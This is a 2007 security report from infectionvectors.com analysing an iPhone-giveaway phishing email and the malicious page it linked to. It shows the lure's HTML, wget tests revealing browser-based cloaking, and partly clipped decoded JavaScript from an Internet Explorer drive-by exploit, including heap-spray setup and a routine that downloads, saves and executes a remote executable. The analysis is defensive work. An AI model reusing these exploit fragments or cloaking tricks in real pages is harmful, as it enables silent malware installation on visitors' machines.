



iPhony: Pop Scamming in 2007
infectionvectors.com
July 2007

Overview

This report examines the technical framework of a modern phishing attack; specifically, an iPhone-based scam released with Apple's latest offering. The skill of the attacker, although possibly called into question by some coders, reveals a dedicated, well-planned operation. The attack itself, although dependent on the traditional tactics of a phishing scam, goes well beyond the simple, direct requests for information that have dominated this nefarious medium.

The Frenzy

Given the coverage of the iPhone selecting it as the bait for a phishing scam probably did not take a lot of deliberation on the part of the criminal behind the attack described in this report. The iPhone, for many, is a revolution in mobile phone technology. Phishing, unfortunately, remains fairly unrevolutionary, even with a few of the newer tricks included in this particular iteration of the crime.

Phishing itself has become more sophisticated; a matter of necessity as it has become better understood by the general public. A criminal must dedicate more time and resources to a successful operation than in the past. The simple email and static website collecting bank information, although still rampant, has evolved into custom-crafted Trojans, intelligent web-tracking services, and well-planned spam campaigns.

Current events have also been a staple in the phisher's toolbox, from disaster relief to popular culture headlines. This attack, utilizing the iPhone release, appears to have been, at the very least, planned well in advance of its distribution. It recalls the same professional development of some network worms and displays the rising professionalism in Internet crime.

Order Now

For the iPhone-based scheme outlined here, the scammer sent out an email, complete with an image (below) stolen from Apple's website, and possibly embellished with the "confetti" overlay (the image in this from could not be found at Apple's site). At the time of this writing, the image (one of 4 iPhones with various pictures on their screens) was being used as the iPhone "guided tour" image link at the device's homepage: <http://www.apple.com/iphone>. With the image is the news that the recipient has won a free iPhone:

Subject: Congratulations, you have won new iPhone from our store!

The image, sent base64 encoded, still property of Apple, arrives named “iphones.gif:”



Instead of just asking for one’s credit card number, however, the criminal initially intends to take advantage of the recipient’s interest in iPhones. The site that is reached by following the phishing trail installs a Trojan that redirects users to phony web spaces, where, of course, additional code is pressed onto the target machine.

The email itself (edited – as the site was still actively distributing malware, the IP address has been clipped):

```
Received: from unknown (HELO ?86.108.119.144?) ([86.108.119.144])
  by 72.5.54.239 with SMTP; 30 Jun 2007 11:23:20 -0000
Received: from [86.108.119.144] by mailgate.wsd3.k12.co.

<h1>Congratulations, you have won new iPhone from Apple.com!</h1>

  <strong><a href="http: //203.[removed].200/ kps2/index.php"
onMouseOver="window.status='Free iPhone!';return true">Fill the form
and get it!</A>
</strong>
</p></p>
<strong> iPhone is a revolutionary new mobile phone that allows you to
make a call by simply tapping a name or number in your address book, a
favorites list, or a call log. It also automatically syncs all your
contacts from a PC, Mac, or Internet service. And it lets you select
and listen to voicemail messages in whatever order you want – just like
email.</strong></DIV></font></body>
```

Unfortunately, the domain from which the email claims to have been sent (wsd3.k12.co.us) belongs to Widefield School District 3 of Colorado Springs, CO in the US. They don't appear to have an Apple/AT&T retail outlet online at this time. If one is to believe the SMTP header, before hitting the Colorado, US relay, the email came from Jordan.¹

Discriminators

So, assuming the user decides they would like to check out the offer provided by this email, what would they see? That depends entirely on what they use to get to the website and how many times they have been there.

Using wget to retrieve the "index.php" file (something the average user is unlikely to do, but the curious researcher may try) is unsatisfying. Although the site appears to be up and running, an empty file is returned:

```
C:\iv\wget>wget http://203.[removed].200/kps2/index.php
--19:59:20-- http://203.[removed].200/kps2/index.php
           => `index.php'
Connecting to 203.[removed].200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 0 [text/html]

           [ <=>                               ] 0           ---K/s

19:53:20 (0.00 B/s) - `index.php' saved [0/0]
```

Trying the same thing again (based on previous experience with such sites, something the casual observer is even less likely to do):

```
C:\iv\wget>wget http://203.[removed].200/kps2/index.php
--19:57:24-- http://203.[removed].200/kps2/index.php
           => `index.php.2'
Connecting to 203.[removed].200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

           [ <=>                               ] 2           ---K/s

19:57:35 (1.95 KB/s) - `index.php.1' saved [2]
```

Apparently, the site in question is logging attempts to retrieve the file – and serves the following content to return visitors:

```
:[
```

One may be wondering what else the site may be doing with its identification program. Indeed, the server logs not only addresses, but also the browser that is making the request. Again using wget, but now employing the "-U" switch to forge the browser identifier, different results are obtained:

```

C:\iv\wget>wget -U "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
http://203.[removed].200/kps2/index.php
--19:48:52-- http://203.[removed].200/kps2/index.php
=> `index.php.2'
Connecting to 203.[removed].200:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

[ <=> ] 29,271 26.92K/s

20:02:44 (26.92 KB/s) - `index.php.2' saved [29271]

```

Although fingerprinting browsers is an important part of making feature-rich websites available to a variety of visitors, serving content in an ‘all-or-nothing’ format is indicative of different intentions altogether. The file above, not to ruin the suspense, is of course, malicious. The reason different versions of “index.php” were given out is also not much of a mystery: it includes exploits directed at Microsoft’s Internet Explorer. Serving the file to other browsers only gives the malware greater distribution (visibility) to the antivirus community.

The Contents

The approximately 29KB file retrieved above appears to be a plain JavaScript file, except for a large chunk of encoded hex content:

```

<div id="mydiv"></div>
<script language="JavaScript">
<!--

function SymError()
{
    return true;
}

window.onerror = SymError;

var SymRealWinOpen = window.open;

function SymWinOpen(url, name, attributes)
{
    return (new Object());
}

window.open = SymWinOpen;

//-->
</script>

<Script Language='JavaScript'> function xor_str(plain_str, xor_key){
var xored_str = "";    for (var i = 0 ; i < plain_str.length; ++i)
xored_str += String.fromCharCode(xor_key ^ plain_str.charCodeAt(i));
return xored_str; } var plain_str = "\xcc\xel\xe6\xel...

```

```
[script content cut here, no need to pass around the exploit code...]
...
var xored_str = xor_str(plain_str, 236); eval(xored_str); </script>
...
[script again cut for brevity]
```

Some simple JavaScript decoding is in order.² In this case, the low-rent decode involves just replacing the “eval” function above with:

```
document.write("<textarea rows=70 cols=70>");
document.write(xored_str); document.write("</textarea>");
```

The document.write function now displays the code in a 70x70 frame, ready for analysis. The code, edited for content, decodes to:

```
var mm = new Array();
var mem_flag = 0;

function h() {mm=mm; setTimeout("h()", 2000);}

function getb(b, bSize)
{while (b.length*2<bSize){b += b;}
b = b.substring(0,bSize/2);return b;}

function cf()
{var zc = 0x0c0c0c0c;
var a = unescape("%u4343... [encoded content and remainder of script
clipped here]");
```

The escaped script above (a primary mechanism for encoding the contents of the file) contains a number of exploits for IE. The overflows are used to install an executable on the host:

```
    if (v[0] && v[1] && v[2]) {
        var data = XMLHttpRequest(v[0], urlRealExe);
        if (data != 0) {
            var name = "c:\\sys"+GetRandString(4)+".exe";
            if (AD2BDStreamSave(v[1], name, data) == 1) {
                if (ShellExecute(v[2], name, n) == 1) {
                    ret=1;
                }
            }
        }
    }
    return ret;
}

function start() {
    if (! MD2C() ) { startOverflow(0); }
```

There's not much mystery to "startOverflow" – little goodness can come from that. The scam as whole does a good job of identifying vulnerable clients and exploiting them appropriately, a practice that has been used on both sides of the security battle: by administrators running compliance scans and attackers cataloguing possible victims.

And Then Sum

The last piece of the compromise puzzle is the executable delivered as "c:\\sys[4 random #s].exe," it appears to be a mass mailing engine, presumably to be used in future spam ventures. There is a method to the operation that is reminiscent of other professional malware ventures: tracking compromises, limiting distribution, using custom Trojans that dodge initial antivirus detection, establishing a means to leverage machines for future profits.

Other iPhone-related schemes have involved delivering BHOs to victim machines. This Trojan has been examined by Sunbelt Software and reported to the antivirus vendors.³ In brief, the Trojan redirects users to a fake sales site that ultimately channels funds to the scam controller.

This will undoubtedly not be the last iPhone-related scam, nor will it be the last that is run in a business-like fashion, there appears to be too much money in illicit Internet enterprises to quell that surge. Malware profiteers are engaging professional practices at all stages to stay ahead of law enforcement, the question is how other Internet residents will stay safe in this environment.⁴

References

1. For those curious about the stated origination of some of the pieces of this story:

203.[removed].200:

```
inetnum:      203.121.64.0 - 203.121.127.255
netname:      TIMETELEKOM
descr:        TIME Telecommunications Sdn Bhd
descr:        Kuala Lumpur
country:      MY
admin-c:      AM59-AP
tech-c:       AM59-AP
```

86.108.119.144:

```
inetnum:      86.108.119.0 - 86.108.119.255
netname:      JOSPRINT
descr:        Jordan Data Communication Ltd.
country:      JO
admin-c:      NA431-RIPE
tech-c:       CS2792-RIPE
```

2. I have long enjoyed the commentary of Tom Liston in regard to decoding JavaScript-based malware. For entertaining, and educational postings, please see:

“Follow the bouncing malware, part II.” <http://isc.sans.org/diary.html?date=2004-08-23>

“Climb a small mountain.” <http://isc2.sans.org/diary.html?storyid=1917>

3. The other known Trojans:

Sunbelt Software Blog on iPhone malware:

<http://sunbeltblog.blogspot.com/2007/06/iphone-madness-this-hot-phone-now-sold.html>

Phish-BuyPhony description at McAfee:

http://vil.nai.com/vil/content/v_142599.htm

4. For much more information on the professionalism in malware development, please see other infectionvectors.com features, such as:

One’s Complement: On Professional Malware

http://www.infectionvectors.com/library/one's_complement_iv.pdf

Arrest-tob: Alleged Zotob Authors Captured

<http://www.infectionvectors.com/library/arrest-tob.pdf>

Years of the Beagle

http://www.infectionvectors.com/library/years_of_the_beagle.pdf

Copyright © infectionvectors.com 2007. All rights reserved.